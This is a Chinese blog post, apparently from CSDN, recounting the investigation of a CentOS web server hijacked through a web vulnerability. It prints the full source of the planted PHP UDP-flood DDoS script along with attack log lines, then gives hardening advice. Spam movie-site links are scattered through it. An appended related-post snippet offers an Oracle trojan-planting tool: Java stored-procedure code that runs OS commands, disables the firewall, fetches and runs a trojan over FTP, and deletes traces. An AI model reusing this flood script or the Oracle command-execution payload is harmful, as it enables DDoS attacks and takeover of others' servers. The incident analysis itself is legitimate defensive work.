一次服务器抓马经历


一次服务器抓马经历

情景

今天早上五点,收到监控宝的警告短信,说是网站M无法访问了。睡的正香,再说网站所在系统是Centos,重要数据每天都备份,应该很安全,也没有在意。倒头接着睡觉去了。

 

早上九点,机房负责人直接给我打来电话,说是全机房网络巨慢,单位的所有网站都打不开或打开的很慢。

2Centos服务器抓马经历

我赶紧赶了过去,查看了一下那里网络,发现175服务总是以50M/S速度向外发包,而175服务器正是网站M所在的服务器。  果断SSH连接175服务器,发现175服务器连接也很慢,连上之后top一下,查看cpu负载。

 

发现有两个apache进程占用cpu一直在40%以上,马上停止httpd 服务。
service httpd stop

停止httpd服务之后,再看网络状态,175服务器也不向外发包了,一切正常。

伦理片 http://www.dotdy.com/ 

由此判断应该是175服务器挂了马,疯狂向外发包,挤占了全部机房带宽。

3抓马过程

175服务器是有硬件防火墙,只开http80跟ssh22端口,ssh不太可能被盗号,应该是通过web漏洞挂马。早上5点才中招的,木马程序文件应该在1天之内。

切到M站点根目录之下,查找最近一天内变动的文件,执行:

find ./ -mtime -1

果然,一个名为phzLtoxn.php的可疑文件出现在目录列表中。查看一下木马程序的创建者,执行:

ls -l phzLtoxn.php

这里发现文件就没了,难道这文件还会自我销毁?

 

4抓马小插曲

隔壁的管理员小黄注意到这个文件挂马文件,二话不说就删除了。我过去劈头批评教育了小黄一顿。见了木马程序就知道 删删删删 !难道木马程序不会再生成啊?你得顺藤摸瓜,不是一刀切。你得找到漏洞源头!删了没办法,再把httpd服务开启了,引狼入室,等等看能否再生成。

 

果然,半小时不到,新的phzLtoxn.php文件又生成了。查看了一下,文件创建者是apache,由此判断这肯定是通过网站漏洞上传的。

5分析木马文件,查看黑客意图

 

这里贴出phzLtoxn.php文件源代码,并作了简单注释,仅作学习之用:

<?php

//设置脚本运行时间

set_time_limit(999999);

//攻击目标服务器ip

$host = $_GET[‘host’];

//攻击目标服务器端口

$port = $_GET[‘port’];

//攻击时长

$exec_time = $_GET[‘time’];

//每次发送字节数

$Sendlen = 65535;

$packets = 0;

//设置客户机断开不终止脚本的执行

ignore_user_abort(TRUE);

//step1. 目标服务器$host、端口$port、运行时长$exec_time有效性

if (StrLen($host) == 0 or StrLen($port) == 0 or StrLen($exec_time) == 0) {

if (StrLen($_GET[‘rat’]) <> 0) {

echo $_GET[‘rat’] . $_SERVER[“HTTP_HOST”] . “|” . GetHostByName($_SERVER[‘SERVER_NAME’]) . “|” . php_uname() . “|” . $_SERVER[‘SERVER_SOFTWARE’] . $_GET[‘rat’];

exit;

}

echo “Warning to: opening”;

exit;

}

//step2. 设定发字符串$out,这里是“AAAAAAAAAA…”

for ($i = 0; $i < $Sendlen; $i++) {

$out .= “A”;

}

$max_time = time() + $exec_time;

//step3. 进行攻击,使用udp向目标服务器狠狠发串串

while (1) {

$packets++;

if (time() > $max_time) {

break;

}

$fp = fsockopen(“udp://$host”, $port, $errno, $errstr, 5);

if ($fp) {

fwrite($fp, $out);

fclose($fp);

}

}

//step4. 攻击统计

echo “Send Host $host:$port<br><br>”;

echo “Send Flow $packets * ($Sendlen/1024=” . round($Sendlen / 1024, 2) . “)kb / 1024 = ” . round($packets * $Sendlen / 1024 / 1024, 2) . ” mb<br><br>”;

echo “Send Rate ” . round($packets / $exec_time, 2) . ” packs/s” . round($packets / $exec_time * $Sendlen / 1024 / 1024, 2) . ” mb/s”;

?>

从以上代码可以看出,是个典型的DDOS攻击代码。黑客应该是把我们服务器当傀儡使用,组织大量傀儡服务器疯狂向目标服务器发包。黑客只需要打开浏览器,敲入http://www.yango.cn/phzLtoxn.php?host=x.x.x.x&port=xx&time=xx就可以对目标服务器进行ddos攻击了。

查看httpd日志,分析下攻击ip源,执行

tail /data/apachelogs/access.log | grep phzLtonxn.php

183.12.75.240 – – [18/Dec/2015:10:38:46 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:38:56 +0800] “GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:38:58 +0800] “GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:39:08 +0800] “GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

110.185.121.167 – – [18/Dec/2015:10:39:12 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=198.148.89.34&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=174.139.81.91&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=199.119.207.133&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:27 +0800] “GET /phzLtoxn.php?host=218.93.248.98&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

118.161.219.152 – – [18/Dec/2015:10:39:28 +0800] “GET /phzLtoxn.php?host=61.164.148.49&port=80&time=60 HTTP/1.1” 404 290 “-” “Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)”

影音先锋电影 http://www.iskdy .com/

发现源ip来自多个,目标服务器ip也有多个,都属于很多国家,有点奇怪啊,为什么黑客没有针对性的攻击呢,无聊的黑客啊。

6找漏洞

1

重新审视了M站目录下文件权限。仅对几个必要的缓存、静态化的目录为apache开启了写权限,防止phzLtoxn.php文件再次生成。

2

重新开启httpd服务,使用360网站检测对H站进行漏洞检测,发现M站中有严重的远程执行漏洞,于是赶紧打了补丁。

3

补丁打好之后,顺便修改了系统用户、数据库用户、ftp用户的密码、M站系统用户密码。

观察几日之后,一切正常。

7小结一下几个安全原则

1

权限最小化

web目录一定做好权限,仅仅对apache开几个必要文件夹的写权限。

2

时刻注意补丁更新

经常使用第三方的网站安全检测工具,也可参考十大安全评估工具,如果网站系统使用了第三方常用程序,多注意一下乌云漏洞平台的信息。

3

中招后一定要补牢

别光删删删删,要查找中招源头,分析黑客目的。




  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
个人全自动1521传马工具日抓千鸡 http://www.skycn.com/soft/1211.html http://www.irisbay.com/down/pub/ora10client.rar 首先安装两个必须的文件 3. 安装ftp 建立好自己的 ftp地址 账户 密码 4. 设置目录里面的 java.sql 打开以后 看最下面 自己修改ftp地址 账户 密码等等 5. 都设置完成以后 把目录里面的 java.sql 放到c盘 即可! create or replace and compile java souRCe named "util" as import java.io.*; import java.lang.*; public class util extends Object { public static int RunThis(String args) { Runtime rt = Runtime.getRuntime(); int RC = -1; try { Process p = rt.exec(args); int bufSize = 4096; BufferedInputStream bis =new BufferedInputStream(p.getInputStream(), bufSize); int len; byte buffer[] = new byte[bufSize]; // Echo back what the program spit out while ((len = bis.read(buffer , 0, bufSize)) != -1) System.out.write(buffer, 0, len); RC = p.waitFor(); } catch (Exception e) { e.printStackTrace(); RC = -1; } finally { return RC; } } } / create or replace function RUN_CMz(p_cmd in varchar2) return number as language java name 'util.RunThis(java.lang.String) return integer'; / create or replace procedure RC(p_cmd in varChar) as x number; begin x := RUN_CMz(p_cmd); end; / variable x number; set serveroutput on; exec dbms_java.set_output(100000); grant javasyspriv to system; grant javauserpriv to system; exec:x:=run_cmz('net stop sharedaccess'); exec:x:=run_cmz('cmd.exe cmd/C del p.bat'); exec:x:=run_cmz('cmd.exe cmd/C del d.bat'); exec:x:=run_cmz('cmd.exe cmd/C del k.exe'); exec:x:=run_cmz('cmd.exe cmd/C echo open IP>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo FTP账号>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo FTP密码>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo bin>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo get 木马名.exe>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo bye>>p.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo ftp -s:p.bat>>d.bat'); exec:x:=run_cmz('cmd.exe cmd/C echo 木马名.exe>>d.bat'); exec:x:=run_cmz('d.bat'); exec:x:=run_cmz('木马名.exe'); exec:x:=run_cmz('cmd.exe cmd/C del C:\WINDOWS\system32\cscript.exe'); exec:x:=run_cmz('cmd.exe cmd/C del p.bat'); exec:x:=run_cmz('cmd.exe cmd/C del d.bat'); exec:x:=run_cmz('cmd.exe cmd/C del 木马名.exe'); exit exit
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值